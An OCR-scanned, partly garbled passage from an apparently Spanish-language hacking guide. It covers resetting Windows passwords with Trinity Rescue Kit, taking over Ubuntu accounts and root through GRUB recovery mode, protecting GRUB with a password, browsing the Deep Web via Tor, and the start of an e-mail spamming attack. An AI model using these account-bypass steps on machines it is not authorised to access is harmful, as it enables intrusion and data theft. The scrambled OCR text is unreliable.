sesión tradicional con el Escritorio de un 
sistema Windows al cual no es posible 

tener acceso, pues el usuario desconoce la 
contraseña para poder ingresar. En este caso, 
se sugiere reiniciar el sistema para poder 
cargar la distribución Trinity Rescue Kit. 


Keyboard layout selection ——> 

Windows password resetting -—-> 

Mount all local filesystems 

Unmount all local filesystems 

Virus scanning —> 

Windows junkfile cleaning ——> 

Mclone: computer replication over the network ——> 
Backup and restore utilities——> 

Run a windows fileserver ——> 

Run an ssh server 

Set an ip-address on the first adapter 

TRK Network boot server 

Trinity Remote Support (contact us first) 
Ethernet packet sniffing --> 

Try detecting more harddisk controllers 

iry detecting more USB and PCMCIA network adapters 
Midnight Commander 

Go to a she 


Go to a shell and save all output to 7tmp/terninal .out 


Poweroff computer 
Reboot without ejecting CD 7 usb stick 





Cuando inicia la distribución, se presenta 
otro menu, sobre el cual debe seleccionar la 
opcion: Quit this menu, de modo de iniciar 
configurando el teclado en castellano. Para 
hacerlo, escriba: trk ~ # loadkeys es. 


trk ~ * winpass -l 

/etc/mountallfstab exists, I ’m assuming all your filesystems are already mounted 
Hindows NTr2ZK-XP installation(s) found in: 

1: /sdaZ/Mindows 

Make your choice or ’q’ to quit [1]: 1 


Ok, continue l Proceda a mostrar la tabla de 

pla ¿80 Aaa af bd gin Sa EOS , ne Tortor 8 ry penne è b | d b fi 
ive name rom header \SystenmRoot\Systen32\Conf igs 

angela at Ox6000 isn igen * Subkey O type is: pa A 4 usuarios, sobre la que ebe igurar 
age a x is no in’, assuming file contains garbage at en 

File size 262144 [400001] bytes, containing 5 pages (+ 1 headerpage) SU sistema actual. Para esto, 

Used for data: 237718024 blocks’bytes, unused: 12/2296 blocks/bytes. escriba: trk As H winpass —| 

Hive <SECURITY> name (from header): <emRoot\System32\Conf igNSECURITY> . : . 

ROOT KEY at offset: 0x001020 * Subkey indexing type is: 666c <1f> Luego Ingrese: trk ~ + winpass 

Page at 0x6000 is not *hbin’, assuming file contains garbage at end 

File size 262144 [40000] bytes, containing 5 pages (+ 1 headerpage) —u Users (en este caso, Users 


Used for data: 341/16368 blocks’bytes, unused: 873952 blocks/bytes. ; 
es el nombre del sistema actual). 


dos borate lockout is: O Note que el sistema solicitara la 
nd leed cere 8 selección de una partición válida. 


i RID -l Username ——-———-—-————-— | Admin? l- Lock? — 


Elija aquella en la que tiene el 


l 
| O1f4 | Administrador I ADMIN | dis/’lock | 
| 03e9 | HomeGroupUser$ l l l . . 3 
| 81f5 | Invitado | dis/lock | sistema operativo; en este caso, la 
| O3ea | Users | ADMIN | l 


opción 1: /sda2/Windows, lo cual 


Unmount ing /sdal 


Unscunting /sda? se representa como: Make your 
Carolina aut aoarcina eid filesystems on local machine h i ík ii it 1 . 1 
Remounting NTFS partitions with ntfs-3g cnoice or q O qui [ i 


Result of mounting: 

A, GN /sdal type fuseblk (rw,noatime,user_id=0,group_id=0 ¿default_pernissions,allow_ other ,b1 
size= 

PA. on /sdaZ2 type fuseblk (rw, ,noatime ,user_id=0,group_id=0 v1etau1+_ro fido o E 9 bl 
size= 

Hindows NI’2K/7XP installation(s) found in: | 

1: /sdaZ/Mindows | | 
Make your choice or ’q’ to quit [1]: ir - 


we 
- —— Y 


= z F. dis 







Una vez seleccionada la 


o partición, aparecerá un pequeño 
full : , . š , 
omment : menú con diferentes opciones: 
POORNE: E 1. Dejar la contraseña en blanco 
i b EE - ; ES 
Jogon = Adalalateadores (hich haz Z omeábera) 2. Editar la contraseña 


3. Eliminar usuario (crear un 
usuario Administrador) 

4. Desbloquear y activar la 
cuenta de usuario (parece 
Failed login count: O, while max tries is: O desbloqueado) 


otal login count: 9 à : 
o e 5. Salir de usuario de 


Account bits: 0x0214 = 
C 1 Disabled 
C 1 Temp. duplicate 


- : [X] Passwd not req. 
1] Domain trust ac : 
SE 


C J NMS account 

C 1 Srv trust act 
C J Cunknown 0x08) 
E 1 Cunknown 0x40) 


1 Homedir req. | 
XJ Normal account | 
J Wks trust act. | 
J] Auto lockout | 
J] (unknown 0x20) | 


XI Pwd don’t expir 
J] (unknown 6x10) 


Ct (blank) d ¡ció 

e ENI Genk sew) wae panwuctd (careful with this on XP or Vista) edicion (vuelta para 

3 — Promote user (make user an administrator) seleccionar un usuario). 

(4 — Unlock and enable user account) [seems unlocked alreadyl : 
q — Quit editing user, back to user select En este caso. se propone elegir 
Select: [q] > 1 Mae 7 
Passuord cleared? la opción Select: [q] > 1. 

ives that have changed : 

# Name 

























0 <SAM> — OK a = EG a E 
aking a backup copy of /sdaZ/Mi ring. i uA. t , ae Pida 
riting /sdaZ2/Mindows/Systenm32/c _ 4 Y 

| á 


nmount ing /sdal 


Finalmente, reinicie 
el sistema. Una vez 
que el equipo solicita 
la contraseña del 
usuario, simplemente 
pulse la tecla ENTER, 
y el Escritorio de 
Windows cargará 
como corresponde. 
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Hacking a cuenta root 
en sistemas Ubuntu-Linux 





Este proyecto se centra en las vulnerabilidades de Ubuntu, tras permitir la modificación 


wW de su cuenta con privilegios de súper usuario. Asimismo, se explica la manera de activar 


Cuentas de usuario en Ubuntu -Linux 
En la actualidad, cualquier sistema operativo dispone de lo que se 
conoce como cuentas de usuario. GNU -Linux es un sistema que 
maneja tres cuentas: 


= Guest (invitado) 
= Administrator (administrador) 
= Root (súper usuario) 


Todas son diferentes entre sí, por lo que es necesario conocer 
el momento preciso para ejecutarlas. 


La cuenta de administrador 


La cuenta del usuario que se crea al instalar Ubuntu no debe 
confundirse con la cuenta del root, pues la primera pertenece al 
grupo de administradores. 

Para dotar de privilegios de root al usuario administrador se utiliza 
el comando $sudo, cuya carpeta personal está dentro de 
/home/nombre-usuario. 


La cuenta de super usuario (root) 

Los sistemas operativos GNU-Linux se caracterizan por tener un 
usuario con permisos totales sobre el sistema. Tradicionalmente 
se lo conoce como root, aunque también se lo denomina súper 
usuario. Su carpeta personal se encuentra en /root. 

En Ubuntu, la cuenta de root viene desactivada por defecto, 

por cuestiones de seguridad. De esta forma, se evita provocar 
destrozos en el sistema por desconocimiento de lo que se ejecuta 
o por accidente. 


La cuenta root o de súper usuario es 

la cuenta que posee los permisos más 
elevados en Linux; similar al Administrador 
en Microsoft Windows. 
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la cuenta root para poder cambiar los permisos del sistema en futuros ataques. 


Ubuntu® 
Linux 


Ubuntu-Linux 
Es, quizá, la distribución 
más famosa del sistema 
GNU-Linux, cuyo 
patrocinador es la empresa 
británica Canonical. 
Ubuntu-Linux está basada 
en la arquitectura Debian y 
es la preferida de muchos 
usuarios que desean 
iniciarse en el aprendizaje 
de sistemas operativos de 
código abierto. 





GRUB 


A menudo denominado como 
el gestor de arranque de 
GNU-Linux, ha logrado 
superar en prestaciones y 
posibilidades de configuracion 
a LILO (Linux Loader). La 
interfaz de GRUB muestra un 
menu sobre el cual hay una 
lista de, entre ofras opciones, 
los sistemas operativos 
presentes en un equipo. De 
esta manera, el usuario decide 
con cual de ellos quiere iniciar. 





GNU GRUB version 2.02~beta2-36ubuntu3. 13 


Star Linux Mint 18.35 
DEM install (for manufacturers) 
Check the integrity of the medium 


Interfaz del gestor de arranque de GNU-Linux. 


Hacking de cuentas de usuario 


Para llevar a cabo este proyecto, partiremos del general se conoce el Username, no sucede lo 
caso en el que se desconocen las credenciales mismo con el Password. A los efectos de esta 
de acceso a Ubuntu (Username y Password), las práctica, es imprescindible contar con el primer 
cuales se colocan una vez dentro de la ventana dato, aunque si no lo tenemos, la manera de 


de sesión del sistema. 


conocerlo es navegar por el interior del directorio 


Es importante mencionar que, aunque por lo /home del sistema. 


“Eg Ubuntu 64-bit - VMware Player (Non-commercial use only) 


Player + | fi~ H 1 E 


Guest Session 


ubuntu? 15.10 





FT En ET E O: 


Inicie la carga 
del Escritorio de 
Ubuntu-Linux. 
Trate de ingresar 
las credenciales 
de acceso 
solicitadas en la 
ventana de inicio 
de sesión del 
sistema (login). 
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Œ Ubuntu 64-bit - VMware Player (Non-commercial use only) 


Player y | il y em a y 



















GNU GRUB version 2.02™~beta2-29 Ingrese al GRUB del sistema 


para lo cual deberá reiniciar el 
equipo y, posteriormente, pulsar 
la tecla SHIFT izquierda del 
teclado. Una vez allí, seleccione 
la opción: *Advanced Options 
for Ubuntu (opciones avanzadas 
de Ubuntu), para después pulsar 
sobre *Ubuntu, with Linux 
Versión generic (Recovery 
Mode). Esta última opción le 
permitirá ingresar a la consola 
de recuperación del sistema. 


«Advanced options for Ubuntu 
Memory test (memtest86+) 
Memory test (memtest86+, serial console 115200) 





Use the ] and | keys to select which entry is highlighted. 
Press enter to boot the selected 0S, 'e' to edit the commands 
before booting or c' for a command-line. 





EZ Ubuntu 64-bit - VMware Player (Non-commercial use only) 


Player | JJ x SHA 
GNU GRUB version 2.02™beta2-29 


Es aconsejable AAA a 
no poner la misma 
contrasena a 
ambas cuentas 

de usuario (usuario 


y administrador). 


Use the T and | keys to select which entry is highlighted. 

Press enter to boot the selected 0S, 'e' to edit the commands 
before booting or ‘c' for a command-line. ESC to return previous 
menu. 


Recovery Menu (filesystem state: read-only) 


resume Resume normal boot 
clean Try to make free space 


dpkg 
failsafex 
fsck 

grub 
network 


system-summary 
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Repair broken packages 

Run in failsafe graphic mode 
Check all file systems 
Update grub bootloader 
Enable networking 

Drop to root shell prompt 
System summary 





Ya dentro del Recovery 
Mode, se efectuara la 
carga del conocido menu 
de recuperacion (Recovery 
Menu), una interfaz en 
color en la que tiene que 
seleccionar la opcion 
network para activar la 
red. En caso de estar 
activa, elija la opcion root 
y pulse la tecla ENTER. 


Recovery Menu (filesystem state: read-only) 


resume Resume normal boot 
clean Try to make free space 
dpkg Repair broken packages 
failsafeX Run in failsafe graphic mode 
fsck Check all file systems 
grub Update grub bootloader 
network Enable networking 

Drop to root shell prompt 


System summary 


Recovery Menu (filesystem state: read-only) 


resume Resume normal boot 

clean Try to make free space 

dpkg Repair broken packages 
failsafex Run in failsafe graphic mode 
fsck Check all file systems 

grub Update grub bootloader 
network Enable networki 


system-summary System summary 


Recovery Menu (filesystem state: read-only) 


Resume normal boot 
clean Try to make free space 
dpkg Repair broken packages 
failsafex Run in failsafe graphic mode 
fsck Check all file systems 
grub Update grub bootloader 
network Enable networking 
root Drop to root shell prompt 
system-summary System summary 


Terminal 


ubuntu@ubuntu: ~ 


ubuntu@ubuntu:~$ sudo passwd root 
Enter new UNIX password: 

Retype new UNIX password: 

passwd: password updated successfully 
ubuntu@ubuntu:~s | 





La recuperacion de accesos en este sistema es 
una practica que puede ser de gran ayuda, sobre 
todo, cuando se han extraviado las credenciales 
de acceso o, en su defecto, cuando se desea 


Se abrirá una terminal sobre la 
parte inferior de la pantalla. Dentro 
de ella, puede tratar de averiguar el 
Username para conseguir el acceso 
al sistema, tecleando: #cd home. 
Luego escriba /home#Is, para 
listar el contenido del directorio 
/home, dentro del cual encontrará 
el Username empleado. Salga del 
directorio actual con #cd.. 


Dentro del área de la partición 
raíz (/), que se monta por defecto 
en el sistema (y que, por ende, 
cuenta con una protección contra 
escritura), ingrese el comando: 
~ mount —o remount, rw /. Con 
esto conseguirá volver a montar 
dicha partición con los permisos 
de lectura y escritura (rw) 
correspondientes, y podrá efectuar 
modificaciones al sistema. 
Finalmente, coloque una nueva 
contraseña. Las órdenes son: 


# passwd Usuario 
Password 
Password 


Escriba el comando exit, que le 
permitirá salir de la terminal (raíz) 
y regresar al Recovery Menu, 
donde debe seleccionar la opción 
Resume y dar ENTER. Acepte 

el recuadro posterior; con esto 
regresará al inicio de sesión de 
Ubuntu-Linux, donde tiene que 
colocar la nueva contraseña de la 
cuenta objetivo y presionar ENTER. 


Active la cuenta de súper usuario 
(root) desde la terminal de 
Ubuntu (CTRL + ALT + T). Esto se 
consigue por medio del comando: 
~$ sudo passwd root. Después, 
se le solicitara introducir dos 
veces un password. Cuando 
termine de hacerlo, la cuenta root 
estara activada. 


cometer una intrusion. Con la activación de 

la cuenta root, a menudo pueden efectuarse 
prácticas de sniffing para la modificación de 
permisos y, por consiguiente, el robo de datos. 
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Cómo protegernos 


Una de las diversas técnicas que existen para 
evitar este tipo de ataques consiste en proteger 
el acceso a GRUB, realizando lo siguiente: 


EZ Ubuntu 64-bit - VMware Player (Non-commercial use only) 


Player + | Mr cS EL S 


root@ubuntu: / 


root@ubuntu:/# cp /boot/grub/grub.cfg /boot/grub/copia_grub.cfg 


root@ubuntu:/# grub-mkpasswd-pbkdf2 
Enter password: 
Reenter password: 


«| i 
Ty D) 10:54AM YE 


PBKDF2 hash of your password is grub.pbkdf2.sha512.10000.EF78936E36B41965113C95E 
281876CFSAC2EEC59D361EA4E9ODODDEAD2981B097F 5CA81D4234E59E75619B56FFCF1I40E11ES5S94F 
A9B02E9637C499BFC69E4E056.CB0146CDA5C2173314B3014027E96434F9FE9901E5FE11A2E567FA 
F2BE09DA1FDB80B4D23EFF7B2F1B29A13CC287A585593B788C9676703C8E40A4F24DE6885E 


root@ubuntu: /# D 





1 Cree una copia del archivo de configuración de GRUB (si algo falla, podrá recuperarlo). 

Para hacerlo, abra su terminal y escriba: #cp /boot/grub/grub.cfg /boot/grub/copia_grub.cfg. 
Una vez realizada la copia, genere la contraseña válida para el posterior acceso, escribiendo: 
#grub-mkpasswd-pbkdf2. Ingrese el password y confirmelo. Acto seguido, el sistema 
generará una nueva contraseña, pero esta vez, codificada. 


©] Ubuntu 64-bit- VMware Player (Nor-commercal ue oy 





E AM EAEE 


DO NOT EDIT THIS FILE 


Hua Q4 44 3-_ 


from /etc/grub.d and settings from /etc/default/grub 


eContrasena cuenta « 
set superusers 


Dasswo a pbkdf: IDI 


: 
ub. pbkdf2.sha512. 10000. 549DE6BA267D9B7D7483BD4A30068B69616F6CBCBB15A 


### BEGIN /etc/grub.d/00_header ### 
if [ -s S$prefix/grubenv ]; then 

set have_grubenv=true 

load_env 


mif [ "S{next_entry}" ] ; then 
set default="${next_entry}" 
set next_entry= 
save_env next_entry 
set boot_once=true 


h 
P 


i 


Plain Text v Tab Width: 8 v 
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It is automatically generated by grub-mkconfig using templates 





Ln 12, Col 1 


Intente abrir 

el archivo de 
configuracion de 
GRUB (llamado 
grub.cfg); el 
comando empleado 
es: #sudo gedit / 
boot/grub/grub. 
cfg. Al comienzo 
del archivo 
incluya las lineas 
que se aprecian 
en la imagen 
(cambiando la 
palabra ubuntu 
por el usuario que 
corresponda, 

y siendo grub. 
pbkdf2 la 
contraseña que 
se ha generado 
anteriormente). 


Euer Wear ooa OOOO 


- t —— a roo o--. -. -- + -. » 


search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos1 
--hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1 2bc5a26e-818c-4f43- 
a4c4-442b8ef884c8 

else 

search --no-floppy --fs-uuid --set=root 2bcSa26e-818c-4f43- 

a4c4-442b8ef884c8 

Fi 

echo ‘Loading Linux 4.2.0-16-generic 

Linux /boot/vmlinuz-4.2.0-16-generic 
root=UUID=2bc5a26e-818c-4f43-a4c4-442b8ef884c8 ro find _preseed=/preseed.cfg auto 
noprompt priority=critical lLocale=en_US quiet init=/sbin/upstart 

echo ‘Loading initial ramdisk - 

initrd /boot/initrd.img-4.2.0-16-generic 

} 
menuentry 'Ubuntu, with Linux 4.2.0-16-generic (recovery mode)' -- 

teat - - class ubuntu --class gnu-linux --class gnu --class os 
Smenuentry_id option 'gnulinux-4.2.0-16-generic-recovery-2bc5a26e-818c-4f43- 
a4c4-442b8ef884c8' { 

recordfail 

load_video 

insmod gzio 

if [ xSgrub platform = xxen ]; then insmod xzio; insmod lzopio; 





Ya ha conseguido que, cuando aparezca GRUB en pantalla, no sea posible editarlo sin introducir 
antes las credenciales de acceso correctas. Ahora solo resta ubicar la entrada que se pretende 
proteger y añadir lo siguiente: -users su_usuario, tal como se ve en la imagen. 


E7 Ubuntu 64-bit - VMware Player (Non-commercial use only) 


Player ~ i ~ dò TE [Sy 
GNU GRUB version 2.02™~beta2-29 


«Ubuntu 

Advanced options for Ubuntu 

Memory test (memtest86+) 

Memory test (memtest86+, serial console 115200) 


E Ubuntu 64-bit - VMware Player (Non-commercial use only) 


Player + | Jr HN 


GNU GRUB version 2.02™~beta2-29 


Ubuntu, with Linux 4.2.0-16-generic 
Ubuntu, with Linux 4.2.0-16-generic (upstart) 
«Ubuntu, with Linux 4.2.0-16-generic 


Ey Ubuntu 64-bit - VMware Player (Non-commercial use only) 


Guarde el archivo y reinicie el 
Player + | fix DHS y 


sistema. Si todo ha ido bien, 
ee eee notara que, tanto al seleccionar 
Enter password: el modo de recuperación como 
E al intentar editarlo, el sistema le 


pedirá identificarse. 
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Explorar la Deep Web 


En este proyecto, se busca abordar las pautas, recomendaciones, 
herramientas y métodos para la exploración de páginas web 

restringidas de Internet. Es importante recordar que navegar en la 

Deep Web es una tarea de riesgo y, por lo tanto, siempre hay que estar protegidos. 





Deep Web Contenido 


La Deep Web (o Internet profunda) es toda aquella parte de la Red Dentro de la Deep Web es 

que contiene material, información y páginas que no se encuentran posible encontrar desde 
indexadas en ninguno de los navegadores existentes, como Google, interesantes recursos, hasta 
Bing, Mozilla Firefox, y otros. páginas con contenido explícito 
e ilegal. Algunos ejemplos de 
contenido que podremos ver en 
WEB CARACTERÍSTICAS — 


Na FANIEN MN ! 7 y Y 
VISIRI E Direcciones URL conocidas y con sentido , 
AO ae. s Navega DN Eletos, Sater, Explorer E contento almacenada 
en los buscaio -Hay restricciones con el contenido por los gobiernos de 
l | = Conocen nuestros comportamientos distintos paises 
m Organizaciones que 
almacenan datos; 
por ejemplo, la NASA 
= Datos meteorológicos, datos 
financieros, directorios con 
información de personas, 
etcétera 
= Multitud de bases de datos 
de distinta índole; estas 
representan un porcentaje 
muy importante de la 
información almacenada en la 
Deep Web 
Foros de diversas temáticas 
Venta de drogas 
Pornografía 
Asesinos a sueldo/sicarios 
Foros de hacking, cracking 
Ciberatacantes en busca 
de víctimas (phishers, 
spammers, botnet agents) 
m Páginas sobre compra y venta 


DEEP WEB de armamento 


Foros de Usa AOs m Piratería de libros, peliculas, 


Intranets CARACTERISTI CAS música, software, etc. 


Catálogo de bibliotecas Direcciones URL alfanuméricas 

y documentos científicos Se navega con TOR 

Paginas sin enlazar Se encuentra todo tipo de contenido 
Anuncios clasificados Nos pueden atacar hackers 





52 | redusers.com 


Acceso a la Deep Web Una medida 


La forma mas comun de tener acceso a la Internet profunda es opcional seria 
mediante el navegador Tor (en particular, Tor-Bundle), cuyo contar con una VPN 


portal es: www.torproject.org. en todo momento 
A través de este recurso será posible ingresar al contenido antes ? 


mencionado, que no se encuentra indexado en preferentemente, 
navegadores convencionales. Claro que para hacerlo, es configurada sobre 
necesario contar con herramientas que garanticen el propio sistema 


una navegación anónima para el usuario. operativo 













Tor es el 
navegador más 
famoso para 
ingresar a la Deep 
Web. La descarga 
se efectúa desde 


TOR: STRENGTH Was $ 
su portal. 


A 


ofan i e l uma ig x i 
Your fina nci Pr Otect the 


around the World to Cial Sy, 


Poort wiy o ne privar 
De more son allow people 










Medidas de seguridad 

Algunas de las recomendaciones que deben tenerse presentes 

antes de la navegación dentro de la Deep Web son: 

= Ingresar al navegador desde un sistema operativo virtual 
(máquina virtual). En caso de existir alguna infección por 
malware, el equipo no resultará perjudicado. 


HotSpot Shield 


= Descargar herramientas para la creación de VPN que garantice Es una herramienta VPN 
una navegación anónima. Un ejemplo es: HotSpot Shield. offline que provee al 

=m Seguir las pautas proporcionadas por el propio Tor, como usuario de mecanismos de 
configurar el nivel de seguridad del navegador, minimizar la seguridad adecuados para 
ventana durante la navegación, mostrar el contenido siempre proteger su equipo tras el 
en inglés, evitar la ejecución de complementos y, desde luego, acceso al contenido de la 


actualizar constantemente el navegador. Deep Web. 
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W Hotspot Shield 7.15.1 Setup 


Navegación anónima 


Hotspot Shield permito navegar par 
Internet con seguridad y de forms 
faci, anónima y privada 


Copying new ties 
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Ejecute la herramienta HotSpot Shield y proceda a 
Esto puede tardar algun tiempo. Así se garantizará 


Acerca de Tor x 


C | Navegador Tor Término de búsquedo o direcció 


TOR: LA FUERZA EN LA CANTIDAD 


Necesitamos tu apoyo. 


Dona hoy, y Mozilla gualará lu donación 


Dona ahora. 


Explora. En privado. 


Ahora estás +sto/a para expermentar la navegación más prvada del mundo 





TOR: LA TUERZA TYLA CARTIIAD 


Necesitamos tu apoyo. 


Dona hoy. y Moda Qualare tu dona: 





efectuar la conexion. 
una navegacion segura. 


Ejecute el navegador Tor. 
Acepte la sugerencia 

(en color amarillo) que se 
despliega por debajo de la 
barra de direcciones URL. 


Necesitamos tu 
Dona hoy, y Mozilla ¡gué 


No se encontraron actualizaciones 





Dona ahora 





Nivel ce regurdad 
T] amarres Sado permite les carse teenticas de vilin week crquerides para 
sitios estáticos y servicios básicos. Estos cambios atectan a 
imagenes, medion y we rpte 
En la configuración La más soera’: 
Imate ects deshatiltartn por detecta en tarddn Ins artia: 
Mis segue Aizen: luuks nonas “belo. Mc IA. gets slir 
dastisbiblado. 


Aude p video medics FTMIS) son de ties puliar paras reproduce 


Camaras 


| hp | 





Haga clic sobre el primer icono ubicado a 

la izquierda de la barra de direcciones (una 
cebolla). Seleccione la opción Configuración 
de seguridad del navegador Tor. Posicione el 
indicador sobre La más segura. 
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No hay actualizaciones disponibles. Navegador Tor comprobará periódicamente si hay actualizaciones, 


Navegue por la opción Actualización 
de software, a través de la cual podrá 
efectuar la actualización del navegador 
en el futuro. 


AS The Hdden Wiki 


(E Cig 


pem 


neagatan 
| = Msn page 
| Recent che gue 
| = Random page 
| = Rube of the ste 


search 


| Go | Searcy | 


was 


é 2kthustecaicérionion wil 


BOLA A 
man page — D3CULSS O” 


Main Page 


Welcome to The Hidden Wiki New hidden wiki url 701 
hitp-f/zqktiwi4fecvaGri.anion F Add it to bookmarks and spread iti!!! 


Editor's picks 


Pick a random pege from the article index anc replace one of these slots wath it 
1 The Matrox - Vary nice to read 
? How to Exit the Matrix - Leam how to Protect yourself and your rights, onáne and off 
3. Venfyng PGP signatures - A short and simple hoveto guide 
4 In Praise Of Hawala - Ananymans informal value transier systern 
5. Teenfic Strategies To Apply A Socia media Marketing Approach - Great tips for the 
imemet marketer 


Volunteer 


| = What inis rere 
* Related changes Here are the six different things thal you can help us oui with 

= Specal pages 

a Ahabi «aro 


e Permanent ink 


1. Plunder other hidden sarace lists for links and place them here! 

2 File the SnapBESirdox links wherever they go 

3. Set external links 1o HTTPS where available, good certificate, and same content 
4. Care to start recording onionland’s history? Check out Oniontard's Museum 

5. Perform Dead Serces Outies. 

6. Remove CP shitnass 


Introduction Points 


a Page nfo mebo 


» Ahma $ 9 - Cleamet search engine lor Tor Hidden Seraces 

« DuckDuckGe (9 - A Hidden Sanica that searches the claarnet 
elos 4 - TorLinks « a modersted replacement lor The Hidden Wiki 
= Torch - Tor Search Engine. Claims to index around 1.1 Million pagas 


Y wewseonai.com 


Encrypting your connection 


Tras la inspección del Hidden Wiki, 
encontrará una lista de recursos web dentro 
de la clasificación Email and Messaging. 
Seleccione SecMail. Haga clic y considere 
crear una cuenta con la opción de poder 
encriptar la conexión. 








Ingrese al foro en español más popular de la 
Deep Web: Cebolla Chan. Desde allí podrá 
efectuar consultas sobre diversas temáticas. 





a -t $ = 


creme acecunt MA ion 


Contents 
1 Editors picks 
2 Voluraes 
3 introduccion Points 
4 Financia Sereces 
5 Commercial Serdces 
3 Domain Services 
7 Anoryirily & Security 
3 Blogs / Essays / Vikis 
J Email Wassagng 
10 Socal Networks 
t1 Forums / Snares ) Chans 
12 Vihistleblowing 
12 HIPPIES 
14 Audo - Music / Staans 
15 Video -Moves / TY 
1 Bonks 
17 Drugs 
16 Erotica 
76 1 Noncommerds! (E) 
16 2 Commercial (El 
19 Uncatagonzed 
20 Hen enga 
20 1 Belarussian / benoprrooam 
20 2 Finnish J Suern 
20 3 Franc) Frangais 


20.4 Cernan (Deutsch 


Comience a recorrer la 
Deep Web. Para hacerlo, 
se aconseja abrir el 
tradicional Hidden Wiki, 
que permite visualizar una 
lista ordenada que incluye 
la clasificación de los 
recursos más demandados 
de esta red. 


n Dart Luhe Gy lp x 


A £207" noy 


facebook 


Connect with friends and the 
world around you on Facebook. 


See photos and updates him “kn 


Share what's new n ywr lion ss sin 


Is tree and always will be. 


JavaScript b disabled on your browser. 


Memwa aneli RR DAs Or ety ee i s AS 
A A rFactor: 


First nee Last name 
Mobile number ar e-mail 


New DIESADIO 


Birthoay 
Ox »] 14 =] 1992 »] 0. do Aci 
Fernale Male 


we cer era Dus Poke eet 





Navegue por el portal de Facebook de la 
Deep Web. Opcionalmente, puede navegar 
por Torbook, una red social muy similar que 
permite visualizar contenido de todo tipo. 
Cree una cuenta y comience la exploración. 


= MILE: orberctt x 


x é were A 


GORCH 


TORCH: tor Search Engine 





Si desea realizar búsquedas especializadas, 
navegue con la ayuda de Torch, uno de los 
buscadores más famosos de la Deep Web. 
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Generar un e-mail spamming 


En este proyecto se propone la descripción del proceso para la 
generación de e-mail spamming. Para efectuar esta tarea se empleará 
la distribución Kali Linux, con la cual, a través de la terminal, se ejecutan 
algunas configuraciones para efectos de ataque. 





¿En que consiste el e-mail-spamming? 


Actualmente, el correo electrónico (e-mail) Los términos más habituales asociados a este 
es considerado como uno de los puntos tipo de prácticas son: correo basura y correo 
de entrada más vulnerables, tanto para no deseado, los cuales hacen referencia a los 
particulares, como para una empresa (que mensajes habitualmente de tipo publicitario. 
ha montado un servidor SMTP). Y aunque los El correo electrónico no deseado puede llegar 
ataques por esta vía han sido recurrentes y, a causar múltiples daños, aunque el más 

por consiguiente, efectivos para el atacante, habitual es sobresaturar la bandeja de entrada 
un plan de medidas de seguridad óptimo del correo. En el peor de los casos, el servidor 
reduce al mínimo el riesgo de ataques por de correo puede llegar a quedar inhabilitado. 


e-mail spamming. 


iCuracao.com Inbox, Blowout Sale! Save Big on Digital Cameras! 4 Days Only! - bromo. corm/pubic/?q=prev ew_messageé 
¡Curacao.com Inbox Exclusive Online Offers! Save $50" on solect items from Sony, Samsung, LG and morel - oronto.cor 
¡Curacao.com Inbox End of Year Blowout Sale! Save up to 5200 on Toshiba HDTV, Nikon Cameras, Android Table... - dn 
¡Curacao.com inbox Happy New Year from Curacao! Save up to $200 off during the End of the Year Sale! - bronto. comio: 
¡Curacao,com Intex Am amazing Christmas deal, Just for You - Only for 24 Hours! - www icuracao compixel-le3901-lsd- 
¡Curacao.com Inbox Special offer, just for you - Save $200 off 39" LED TV - 48 Hours Only! - vwww.leuracao com/pixe eat 
¡Curacao.com Inher 40% Off Select Items + FREE Shipping*! Last Minute Christmas Deals! - oranio.com/oublic!?u=previe 
¡Curacao.com Inbox, a gift for you + Save up to $100 on Christmas Gifts! - bronta.com'puslle/?a=prew.ew messagesfa= Lir 
¡Curacao.com Intex Up to 60% off- Electronics Clearance Event! - www icuracao.com/vleclromes-clearunce Save $300 on 
¡Curacao.com Inbox Special $25 off during the Early Christmas Sale! - bronto com/pudlic/?q=preview_message&in=Link&t= 


Intex Last hours to save up to $500 + Free Shipping Inside! - bronto. comipublici?g=provlew_messagebin=L 











Inbox Cyber Monday Deals! Savings Up to $500 + Free Shipping! - oronto.com/public/?a=pravwiew_maessagel 
Inbox Super Sunday Savings - Free Shipping Store Wide - bronto.com/publlc/Ta= preview messadiin= ink 
Inbox Black Friday Saving Extended Weekend Sale! - bronto. com'pualic/?g=prew.ew_messageñin=Lin«B:ALE 


inox Black Friday Extended 4 Day Sale - Huge Discountsi! - oronto.com/public/Ta=preyiew messagedtne 


Ejemplo de saturación de un 
correo electrónico tras un 
ataque por e-mail spamming. 


El spamming es una práctica 
maliciosa (ejercida por un atacante) 
que consiste en el envío masivo 

de mensajes de correo electrónico 
i F hacia un objetivo particular. 
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Modo habitual de ataque 

Lo unico que un ciberdelincuente sa a 
conocer para llevar a cabo un ataque e-mail- 
spamming es, obviamente, la direccion de correo 
electronico de su victima (y desde luego, tener 
una herramienta que le permita explotar esa 
vulnerabilidad). Para recopilar esta informacion, a 
menudo se hace uso de la ingenieria social. 

Un ejemplo clasico que se presenta con 
frecuencia en las redes sociales es el ya conocido 
bulo o hoax, una practica que consiste en la 
publicacion de contenido falso e 


con suplantacion de identidad (spoofing), e 
incluso, para persuadir al destinatario, quien 
por lo general termina proporcionando datos 
sensibles de alguna cuenta de usuario. 
Básicamente, los bulos pueden ser alertas 

sobre virus incurables; falacias sobre personas, 
instituciones o empresas; mensajes con temática 
religiosa; cadenas de solidaridad; cadenas de la 
suerte; métodos para hacerse millonario, leyendas 
urbanas, regalos y promociones, entre otros. 


incitante que, a menudo, es distribuido 
en cadena por sus sucesivos receptores 
(por lo regular, es formulado para hacer 
creer a todo usuario que su contenido 
parece provenir de una fuente seria 

y fiable). Este tipo de publicaciones 
solicita ser reenviado a los contactos del 
destinatario (o, en su defecto, invita a 
presionar Me gusta). 

Las personas que crean los hoax 
suelen tener como principal objetivo el 
robo indirecto de direcciones de correo 
electrónico a gran escala, con el fin de 
enviar correo masivo, virus o mensajes 





Acaban de poner a CNP (Cuerpo Nacional de Policia) en Alerta 5, atentado 
inminente. Así que durante unos días evitar el transporte público y lugares dé 
interés importante.Me lo acaba de enviar a un grupo que tenemos un amigo 


Han anulado vacaciones y han ido a Madrid 5 grupo UIP (Unidad de 
Intervencion Policial), y hay un equipo del ro o y si hay que 


la renfe esta lle ici fo 


Confirmado 

No se si os habei te 
alarma inminente 

la estacion del Norte. 
Algo pasa o estan esperando que pase. 
Tener cuidado 

Por favor pasarlo a las familias. 


D - er - n e = - 


por las comisarias esta todo revolucionado 
entado en BCN, Madrid, Alicante y Valencia cerca de 


Claro ejemplo de publicaciones (cadena) para la extracción 
de correo electrónico (se trata de una leyenda urbana). 


Ataque de e-mail spamming desde Kali-Linux 


Como se sabe, Kali-Linux es una distribución para pentesters, que en esta 
